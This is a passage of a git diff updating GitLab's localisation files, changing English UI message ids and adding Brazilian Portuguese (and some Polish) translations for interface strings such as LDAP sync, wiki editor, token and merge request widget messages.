+msgid "Sync LDAP"
+msgstr ""
msgid "Sync now"
msgstr ""
@@ -32174,10 +31976,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32369,6 +32171,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32734,7 +32539,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32743,6 +32548,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32752,6 +32560,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32785,9 +32596,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr "Zakreślacz znaków pomaga ci utrzymać linię tematyczną do %{titleLength} znaków i zawinąć body do %{bodyLength}, aby można je było odczytać w git."
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32821,7 +32629,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32851,6 +32659,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32927,6 +32738,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32948,15 +32762,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -33041,18 +32855,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr "Harmonogram potoków uruchamia procesy w przyszłości, wielokrotnie, dla określonych branch'ów lub znaczników. Te zaplanowane procesy odziedziczą ograniczony dostęp do projektu na podstawie powiązanego użytkownika."
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr "Klucz prywatny służy do użycia w przypadku, gdy dostarczony jest certyfikat klienta. Ta wartość jest zaszyfrowana w trybie spoczynku."
@@ -33116,9 +32924,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -33137,10 +32942,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -33155,9 +32960,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -33167,9 +32969,6 @@ msgstr "Akcja aktualizacji zakończy się po upływie %{number_of_minutes} minut
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr "Polecenie ping jest wyłączone i nie można go skonfigurować za pomocą tego formularza."
-
msgid "The user is being deleted."
msgstr ""
@@ -33188,9 +32987,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -33332,9 +33128,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33455,6 +33248,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33530,6 +33326,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33563,7 +33362,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33659,6 +33458,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33698,9 +33500,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33785,7 +33584,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34528,9 +34327,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34615,9 +34420,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34717,9 +34519,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34732,6 +34543,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34780,6 +34594,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -35261,12 +35084,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -35357,21 +35174,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35507,9 +35309,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35846,9 +35645,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35978,6 +35783,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -36275,9 +36083,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -36287,9 +36092,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -36371,9 +36182,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36463,6 +36271,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36481,9 +36292,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36517,6 +36325,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36586,7 +36397,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36727,7 +36541,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36859,6 +36673,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -37159,6 +36976,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -37168,6 +36994,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -37370,7 +37199,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37391,6 +37220,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37406,16 +37238,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37430,10 +37262,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37703,6 +37541,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37742,9 +37583,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37922,21 +37760,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -38000,9 +37835,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -38162,12 +37994,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -38195,18 +38021,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -38219,12 +38039,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -38294,12 +38108,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -38384,6 +38204,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38393,6 +38216,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38487,6 +38313,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38544,12 +38373,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38574,6 +38412,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38592,9 +38433,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38899,6 +38737,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38989,6 +38830,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -39072,9 +38916,6 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39464,6 +39305,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39500,9 +39344,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39563,7 +39404,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39644,7 +39485,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39707,6 +39551,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -40000,6 +39847,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -40102,6 +39952,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/pt_BR/gitlab.po b/locale/pt_BR/gitlab.po
index 3ac78189fc1..253c1c75e61 100644
--- a/locale/pt_BR/gitlab.po
+++ b/locale/pt_BR/gitlab.po
@@ -14,16 +14,13 @@ msgstr ""
"X-Crowdin-Language: pt-BR\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:20\n"
+"PO-Revision-Date: 2021-07-01 21:02\n"
msgid " %{name}, confirm your email address now! "
-msgstr ""
-
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
+msgstr " %{name}, confirme seu endereço de e-mail agora! "
msgid " %{start} to %{end}"
-msgstr ""
+msgstr " %{start} até %{end}"
msgid " (from %{timeoutSource})"
msgstr " (de %{timeoutSource})"
@@ -35,13 +32,13 @@ msgid " Please sign in."
msgstr " Por favor, entre usando sua conta."
msgid " Target Path"
-msgstr ""
+msgstr " Caminho de Destino"
msgid " Try to %{action} this file again."
msgstr " Tentar %{action} este arquivo novamente."
msgid " Type"
-msgstr ""
+msgstr " Tipo"
msgid " You need to do this before %{grace_period_deadline}."
msgstr " Você precisa fazer isso antes de %{grace_period_deadline}."
@@ -69,85 +66,88 @@ msgid " or "
msgstr " ou "
msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
-msgstr ""
+msgstr " ou %{emphasisStart}!merge id solicitado%{emphasisEnd}"
msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
-msgstr ""
+msgstr " ou %{emphasisStart}#id da issue%{emphasisEnd}"
msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
-msgstr ""
+msgstr " ou %{emphasisStart}&id do épico%{emphasisEnd}"
msgid " or references (e.g. path/to/project!merge_request_id)"
msgstr " ou referências (ex. caminho/para/projeto!merge_request_id)"
msgid "\"%{path}\" did not exist on \"%{ref}\""
-msgstr ""
+msgstr "\"%{path}\" não existia em \"%{ref}\""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
-msgstr ""
+msgstr "\"%{repository_name}\" tamanho (%{repository_size}) é maior que o limite de %{limit}."
msgid "\"el\" parameter is required for createInstance()"
+msgstr "O parâmetro \"el\" é necessário para createInstance()"
+
+msgid "#general, #development"
msgstr ""
msgid "%d Approval"
msgid_plural "%d Approvals"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d Aprovação"
+msgstr[1] "%d Aprovações"
msgid "%d Module"
msgid_plural "%d Modules"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d Módulo"
+msgstr[1] "%d Módulos"
msgid "%d Other"
msgid_plural "%d Others"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d Outro"
+msgstr[1] "%d Outros"
msgid "%d Package"
msgid_plural "%d Packages"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d Pacote"
+msgstr[1] "%d Pacotes"
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d URL digitalizada"
+msgstr[1] "%d URLs digitalizadas"
msgid "%d URL scanned"
msgid_plural "%d URLs scanned"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d URL verificada"
+msgstr[1] "%d URLs verificadas"
msgid "%d approver"
msgid_plural "%d approvers"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d aprovador"
+msgstr[1] "%d aprovadores"
msgid "%d approver (you've approved)"
msgid_plural "%d approvers (you've approved)"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d aprovador (você aprovou)"
+msgstr[1] "%d aprovadores (você aprovou)"
msgid "%d changed file"
msgid_plural "%d changed files"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d arquivo alterado"
+msgstr[1] "%d arquivos alterados"
msgid "%d character remaining"
msgid_plural "%d characters remaining"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d caractere restante"
+msgstr[1] "%d caracteres restantes"
msgid "%d child epic"
msgid_plural "%d child epics"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d épico filho"
+msgstr[1] "%d épicos filhos"
msgid "%d code quality issue"
msgid_plural "%d code quality issues"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d problema de qualidade de código"
+msgstr[1] "%d problemas de qualidade de código"
msgid "%d comment"
msgid_plural "%d comments"
@@ -156,8 +156,8 @@ msgstr[1] "%d comentários"
msgid "%d comment on this commit"
msgid_plural "%d comments on this commit"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d comentário neste commit"
+msgstr[1] "%d comentários neste commit"
msgid "%d commit"
msgid_plural "%d commits"
@@ -179,8 +179,8 @@ msgstr "%d commits"
msgid "%d completed issue"
msgid_plural "%d completed issues"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d problema concluído"
+msgstr[1] "%d problemas concluídos"
msgid "%d contribution"
msgid_plural "%d contributions"
@@ -194,8 +194,8 @@ msgstr[1] "%d dias"
msgid "%d epic"
msgid_plural "%d epics"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d épico"
+msgstr[1] "%d épicos"
msgid "%d error"
msgid_plural "%d errors"
@@ -204,8 +204,8 @@ msgstr[1] "%d: erros"
msgid "%d error found:"
msgid_plural "%d errors found:"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d erro encontrado:"
+msgstr[1] "%d erros encontrados:"
msgid "%d exporter"
msgid_plural "%d exporters"
@@ -214,18 +214,18 @@ msgstr[1] "%d exporters"
msgid "%d failed"
msgid_plural "%d failed"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d falha"
+msgstr[1] "%d falhas"
msgid "%d failed security job"
msgid_plural "%d failed security jobs"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d tarefa de segurança com falha"
+msgstr[1] "%d tarefas de segurança com falha"
msgid "%d file"
msgid_plural "%d files"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d arquivo"
+msgstr[1] "%d arquivos"
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
@@ -234,13 +234,13 @@ msgstr[1] "%d resultados do teste corrigidos"
msgid "%d group"
msgid_plural "%d groups"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d grupo"
+msgstr[1] "%d grupos"
msgid "%d group selected"
msgid_plural "%d groups selected"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d grupo selecionado"
+msgstr[1] "%d grupos selecionados"
msgid "%d hour"
msgid_plural "%d hours"
@@ -259,18 +259,13 @@ msgstr[1] "%d issues"
msgid "%d issue in this group"
msgid_plural "%d issues in this group"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d issue neste grupo"
+msgstr[1] "%d issues neste grupo"
msgid "%d issue successfully imported with the label"
msgid_plural "%d issues successfully imported with the label"
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
